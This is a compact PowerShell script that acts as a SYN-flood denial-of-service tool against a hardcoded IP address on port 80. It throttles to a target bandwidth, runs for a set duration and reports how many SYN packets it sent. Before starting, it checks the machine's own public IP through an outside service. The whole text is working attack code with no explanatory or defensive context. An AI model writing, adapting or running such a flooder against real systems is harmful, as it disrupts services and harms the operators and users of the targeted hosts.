$a='8.8.8.8';$i='116.34.221.154';$p=80;$d=60;$m=50;$c=200
try{$ip=(irm icanhazip.com -TimeoutSec 10).Trim();if($a-contains$ip){write 'IP blocked';exit}}catch{exit}
$e=[Net.IPEndPoint]::new([Net.IPAddress]::Parse($i),$p)
function S{param($e);try{$s=[Net.Sockets.Socket]::new(2,1,6);$s.Blocking=$false;$s.LingerState=[Net.Sockets.LingerOption]::new($true,0);try{$null=$s.BeginConnect($e,$null,$null)}catch{};$s.Dispose()}catch{}}
$ppb=[math]::Floor(($m*1e6/8)/60/10);if($ppb-lt1){$ppb=1}
$n=0;$sw=[Diagnostics.Stopwatch]::StartNew();$end=[DateTime]::Now.AddSeconds($d)
write "$d s $m Mbps"
while([DateTime]::Now-lt$end){$s=Get-Date;1..$ppb|%{1..$c|%{S $e;$n++}};$el=((Get-Date)-$s).TotalMilliseconds;if($el-lt1000){Start-Sleep -Milliseconds (1000-$el)}}
$sw.Stop();$mbps=($n*60*8)/($sw.Elapsed.TotalSeconds*1e6)
write ("{0:N0} SYN  {1:N2} Mbps" -f $n,$mbps)